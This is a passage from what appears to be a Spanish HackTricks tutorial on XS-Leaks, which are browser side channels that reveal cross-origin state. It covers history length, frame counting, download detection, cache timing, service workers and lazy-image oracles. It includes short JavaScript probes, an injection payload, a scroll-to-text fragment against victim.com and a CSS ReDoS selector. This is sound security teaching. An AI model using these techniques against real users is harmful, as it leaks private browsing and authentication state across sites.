SameSite=None o estar en el mismo contexto suele ser necesario para este tipo de ataque.

Longitud M谩xima de URL - Lado del Cliente

Seg煤n la documentaci贸n de Chromium, la longitud m谩xima de URL de Chrome es de 2MB.

En general, la plataforma web no tiene l铆mites en la longitud de las URL (aunque 2^31 es un l铆mite com煤n). Chrome limita las URL a una longitud m谩xima de 2MB por razones pr谩cticas y para evitar causar problemas de denegaci贸n de servicio en la comunicaci贸n entre procesos.

Por lo tanto, si la URL de redirecci贸n respondida es m谩s grande en uno de los casos, es posible hacer que redirija con una URL mayor a 2MB para alcanzar el l铆mite de longitud. Cuando esto sucede, Chrome muestra una p谩gina about:blank#blocked.

La diferencia notable es que si la redirecci贸n se complet贸, window.origin genera un error porque un origen cruzado no puede acceder a esa informaci贸n. Sin embargo, si se alcanz贸 el l铆mite y la p谩gina cargada fue about:blank#blocked, el origen de la ventana permanece como el de la padre, que es una informaci贸n accesible.

Toda la informaci贸n adicional necesaria para alcanzar los 2MB se puede agregar a trav茅s de un hash en la URL inicial para que se utilice en la redirecci贸n.

URL Max Length - Client Side

M谩ximo de Redirecciones

Si el n煤mero m谩ximo de redirecciones a seguir de un navegador es 20, un atacante podr铆a intentar cargar su p谩gina con 19 redirecciones y finalmente enviar a la v铆ctima a la p谩gina probada. Si se genera un error, entonces la p谩gina estaba intentando redirigir a la v铆ctima.

Longitud del Historial

La API de Historial permite al c贸digo JavaScript manipular el historial del navegador, que guarda las p谩ginas visitadas por un usuario. Un atacante puede usar la propiedad de longitud como un m茅todo de inclusi贸n: para detectar navegaci贸n de JavaScript y HTML.
Verificando history.length, haciendo que un usuario navegue a una p谩gina, cambiando de nuevo a la misma origen y verificando el nuevo valor de history.length.

Longitud del Historial con la misma URL

  • M茅todos de Inclusi贸n: Marcos, Ventanas emergentes
  • Diferencia Detectable: Si la URL es la misma que la adivinada
  • Resumen: Es posible adivinar si la ubicaci贸n de un marco/ventana emergente est谩 en una URL espec铆fica abusando de la longitud del historial.
  • Ejemplo de C贸digo: A continuaci贸n

Un atacante podr铆a usar c贸digo JavaScript para manipular la ubicaci贸n del marco/ventana emergente a una adivinada y inmediatamente cambiarla a about:blank. Si la longitud del historial aument贸, significa que la URL era correcta y tuvo tiempo para aumentar porque la URL no se recarga si es la misma. Si no aument贸, significa que intent贸 cargar la URL adivinada, pero porque inmediatamente despu茅s carg贸 about:blank, la longitud del historial nunca aument贸 al cargar la URL adivinada.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Conteo de Marcos

Contar el n煤mero de marcos en una web abierta a trav茅s de iframe o window.open puede ayudar a identificar el estado del usuario sobre esa p谩gina.
Adem谩s, si la p谩gina tiene siempre el mismo n煤mero de marcos, verificar continuamente el n煤mero de marcos puede ayudar a identificar un patr贸n que podr铆a filtrar informaci贸n.

Un ejemplo de esta t茅cnica es que en Chrome, un PDF puede ser detectado con conteo de marcos porque se utiliza un embed internamente. Hay Par谩metros de URL Abiertos que permiten cierto control sobre el contenido como zoom, view, page, toolbar donde esta t茅cnica podr铆a ser interesante.

Elementos HTML

La filtraci贸n de informaci贸n a trav茅s de elementos HTML es una preocupaci贸n en la seguridad web, particularmente cuando se generan archivos de medios din谩micos basados en la informaci贸n del usuario, o cuando se a帽aden marcas de agua, alterando el tama帽o del medio. Esto puede ser explotado por atacantes para diferenciar entre posibles estados analizando la informaci贸n expuesta por ciertos elementos HTML.

Informaci贸n Expuesta por Elementos HTML

  • HTMLMediaElement: Este elemento revela la duraci贸n y los tiempos buffered del medio, que se pueden acceder a trav茅s de su API. Lee m谩s sobre HTMLMediaElement
  • HTMLVideoElement: Expone videoHeight y videoWidth. En algunos navegadores, propiedades adicionales como webkitVideoDecodedByteCount, webkitAudioDecodedByteCount y webkitDecodedFrameCount est谩n disponibles, ofreciendo informaci贸n m谩s detallada sobre el contenido del medio. Lee m谩s sobre HTMLVideoElement
  • getVideoPlaybackQuality(): Esta funci贸n proporciona detalles sobre la calidad de reproducci贸n de video, incluyendo totalVideoFrames, que puede indicar la cantidad de datos de video procesados. Lee m谩s sobre getVideoPlaybackQuality()
  • HTMLImageElement: Este elemento filtra la altura y ancho de una imagen. Sin embargo, si una imagen es inv谩lida, estas propiedades devolver谩n 0, y la funci贸n image.decode() ser谩 rechazada, indicando el fallo en cargar la imagen correctamente. Lee m谩s sobre HTMLImageElement

Propiedad CSS

Las aplicaciones web pueden cambiar el estilo del sitio web dependiendo del estado del usuario. Los archivos CSS de origen cruzado pueden ser incrustados en la p谩gina del atacante con el elemento de enlace HTML, y las reglas ser谩n aplicadas a la p谩gina del atacante. Si una p谩gina cambia din谩micamente estas reglas, un atacante puede detectar estas diferencias dependiendo del estado del usuario.
Como t茅cnica de filtraci贸n, el atacante puede usar el m茅todo window.getComputedStyle para leer propiedades CSS de un elemento HTML espec铆fico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

Historial CSS

note

Seg煤n esto, esto no funciona en Chrome sin cabeza.

El selector CSS :visited se utiliza para estilizar URLs de manera diferente si han sido visitadas previamente por el usuario. En el pasado, el m茅todo getComputedStyle() podr铆a ser empleado para identificar estas diferencias de estilo. Sin embargo, los navegadores modernos han implementado medidas de seguridad para evitar que este m茅todo revele el estado de un enlace. Estas medidas incluyen devolver siempre el estilo computado como si el enlace hubiera sido visitado y restringir los estilos que se pueden aplicar con el selector :visited.

A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de manera indirecta. Una t茅cnica implica enga帽ar al usuario para que interact煤e con un 谩rea afectada por CSS, utilizando espec铆ficamente la propiedad mix-blend-mode. Esta propiedad permite la mezcla de elementos con su fondo, revelando potencialmente el estado visitado basado en la interacci贸n del usuario.

Adem谩s, la detecci贸n puede lograrse sin interacci贸n del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencion贸 un concepto de prueba (PoC) en un informe de errores de Chromium, demostrando esta t茅cnica utilizando m煤ltiples enlaces para amplificar la diferencia de tiempo, haciendo que el estado visitado sea detectable a trav茅s del an谩lisis de tiempo.

Para m谩s detalles sobre estas propiedades y m茅todos, visita sus p谩ginas de documentaci贸n:

Filtraci贸n de X-Frame de ContentDocument

En Chrome, si una p谩gina con el encabezado X-Frame-Options configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una p谩gina de error. Chrome devuelve de manera 煤nica un objeto de documento vac铆o (en lugar de null) para la propiedad contentDocument de este objeto, a diferencia de los iframes o de otros navegadores. Los atacantes podr铆an explotar esto detectando el documento vac铆o, revelando potencialmente informaci贸n sobre el estado del usuario, especialmente si los desarrolladores configuran de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las p谩ginas de error. La conciencia y la aplicaci贸n consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.

Detecci贸n de Descargas

El encabezado Content-Disposition, espec铆ficamente Content-Disposition: attachment, instruye al navegador a descargar contenido en lugar de mostrarlo en l铆nea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una p谩gina que desencadena una descarga de archivo. En navegadores basados en Chromium, hay algunas t茅cnicas para detectar este comportamiento de descarga:

  1. Monitoreo de la Barra de Descargas:
  • Cuando un archivo se descarga en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
  • Al monitorear cambios en la altura de la ventana, los atacantes pueden inferir la aparici贸n de la barra de descarga, sugiriendo que se ha iniciado una descarga.
  1. Navegaci贸n de Descarga con Iframes:
  • Cuando una p谩gina desencadena una descarga de archivo utilizando el encabezado Content-Disposition: attachment, no causa un evento de navegaci贸n.
  • Al cargar el contenido en un iframe y monitorear eventos de navegaci贸n, es posible verificar si la disposici贸n del contenido causa una descarga de archivo (sin navegaci贸n) o no.
  1. Navegaci贸n de Descarga sin Iframes:
  • Similar a la t茅cnica del iframe, este m茅todo implica usar window.open en lugar de un iframe.
  • Monitorear eventos de navegaci贸n en la nueva ventana abierta puede revelar si se desencaden贸 una descarga de archivo (sin navegaci贸n) o si el contenido se muestra en l铆nea (ocurre navegaci贸n).

En escenarios donde solo los usuarios autenticados pueden desencadenar tales descargas, estas t茅cnicas pueden ser utilizadas para inferir indirectamente el estado de autenticaci贸n del usuario basado en la respuesta del navegador a la solicitud de descarga.

Bypass de Cach茅 HTTP Particionado

warning

Esta es la raz贸n por la que esta t茅cnica es interesante: Chrome ahora tiene particionamiento de cach茅, y la clave de cach茅 de la p谩gina reci茅n abierta es: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), pero si abro una p谩gina ngrok y uso fetch en ella, la clave de cach茅 ser谩: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clave de cach茅 es diferente, por lo que la cach茅 no puede ser compartida. Puedes encontrar m谩s detalles aqu铆: Ganar seguridad y privacidad mediante el particionamiento de la cach茅
(Comentario de aqu铆)

Si un sitio example.com incluye un recurso de *.example.com/resource, entonces ese recurso tendr谩 la misma clave de cach茅 que si el recurso fuera solicitado a trav茅s de una navegaci贸n de nivel superior. Eso se debe a que la clave de cach茅 consiste en el eTLD+1 de nivel superior y el eTLD+1 de marco.

Debido a que acceder a la cach茅 es m谩s r谩pido que cargar un recurso, es posible intentar cambiar la ubicaci贸n de una p谩gina y cancelarla 20 ms (por ejemplo) despu茅s. Si el origen se cambi贸 despu茅s de la detenci贸n, significa que el recurso fue almacenado en cach茅.
O simplemente enviar alg煤n fetch a la p谩gina potencialmente almacenada en cach茅 y medir el tiempo que tarda.

Redirecci贸n Manual

Fetch con AbortController

Usa fetch y setTimeout con un AbortController para detectar si el recurso est谩 almacenado en cach茅 y para expulsar un recurso espec铆fico de la cach茅 del navegador. Adem谩s, el proceso ocurre sin almacenar en cach茅 nuevo contenido.

Contaminaci贸n de Scripts

Service Workers

En el escenario dado, el atacante toma la iniciativa de registrar un service worker dentro de uno de sus dominios, espec铆ficamente "attacker.com". A continuaci贸n, el atacante abre una nueva ventana en el sitio web objetivo desde el documento principal e instruye al service worker para que comience un temporizador. A medida que la nueva ventana comienza a cargarse, el atacante navega la referencia obtenida en el paso anterior a una p谩gina gestionada por el service worker.

Al llegar la solicitud iniciada en el paso anterior, el service worker responde con un c贸digo de estado 204 (Sin Contenido), terminando efectivamente el proceso de navegaci贸n. En este punto, el service worker captura una medici贸n del temporizador iniciado anteriormente en el paso dos. Esta medici贸n se ve influenciada por la duraci贸n de JavaScript que causa retrasos en el proceso de navegaci贸n.

warning

En un tiempo de ejecuci贸n es posible eliminar factores de red para obtener mediciones m谩s precisas. Por ejemplo, cargando los recursos utilizados por la p谩gina antes de cargarla.

Tiempo de Fetch

Tiempo entre Ventanas

Con HTML o Re Inyecci贸n

Aqu铆 puedes encontrar t茅cnicas para exfiltrar informaci贸n de un HTML de origen cruzado inyectando contenido HTML. Estas t茅cnicas son interesantes en casos donde por alguna raz贸n puedes inyectar HTML pero no puedes inyectar c贸digo JS.

Marcado Colgante

Dangling Markup - HTML scriptless injection

Carga Perezosa de Im谩genes

Si necesitas exfiltrar contenido y puedes agregar HTML antes del secreto, deber铆as revisar las t茅cnicas comunes de marcado colgante.
Sin embargo, si por cualquier raz贸n DEBES hacerlo car谩cter por car谩cter (quiz谩s la comunicaci贸n es a trav茅s de un acierto de cach茅), puedes usar este truco.

Las im谩genes en HTML tienen un atributo "loading" cuyo valor puede ser "lazy". En ese caso, la imagen se cargar谩 cuando se vea y no mientras la p谩gina se est谩 cargando:

html
<img src=/something loading=lazy >

Por lo tanto, lo que puedes hacer es agregar muchos caracteres basura (por ejemplo, miles de "W") para llenar la p谩gina web antes del secreto o agregar algo como <br><canvas height="1850px"></canvas><br>.
Luego, si por ejemplo nuestra inyecci贸n aparece antes de la bandera, la imagen se cargar铆a, pero si aparece despu茅s de la bandera, la bandera + la basura impedir谩n que se cargue (tendr谩s que jugar con cu谩nta basura colocar). Esto es lo que sucedi贸 en este informe.

Otra opci贸n ser铆a usar el scroll-to-text-fragment si se permite:

Scroll-to-text-fragment

Sin embargo, haces que el bot acceda a la p谩gina con algo como

#:~:text=SECR

As铆 que la p谩gina web ser谩 algo como: https://victim.com/post.html#:~:text=SECR

Donde post.html contiene los caracteres basura del atacante y una imagen de carga perezosa, y luego se a帽ade el secreto del bot.

Lo que har谩 este texto es hacer que el bot acceda a cualquier texto en la p谩gina que contenga el texto SECR. Como ese texto es el secreto y est谩 justo debajo de la imagen, la imagen solo se cargar谩 si el secreto adivinado es correcto. As铆 que ah铆 tienes tu or谩culo para exfiltrar el secreto car谩cter por car谩cter.

Un ejemplo de c贸digo para explotar esto: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Carga Perezosa de Im谩genes Basada en Tiempo

Si no es posible cargar una imagen externa que podr铆a indicar al atacante que la imagen fue cargada, otra opci贸n ser铆a intentar adivinar el car谩cter varias veces y medir eso. Si la imagen se carga, todas las solicitudes tardar铆an m谩s que si la imagen no se carga. Esto es lo que se utiliz贸 en la soluci贸n de este informe resumido aqu铆:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Si se utiliza jQuery(location.hash), es posible averiguar a trav茅s del tiempo si existe alg煤n contenido HTML, esto se debe a que si el selector main[id='site-main'] no coincide, no necesita verificar el resto de los selectores:

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

Inyecci贸n de CSS

CSS Injection

Defensas

Hay mitigaciones recomendadas en https://xsinator.com/paper.pdf tambi茅n en cada secci贸n de la wiki https://xsleaks.dev/. Echa un vistazo all铆 para m谩s informaci贸n sobre c贸mo protegerse contra estas t茅cnicas.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks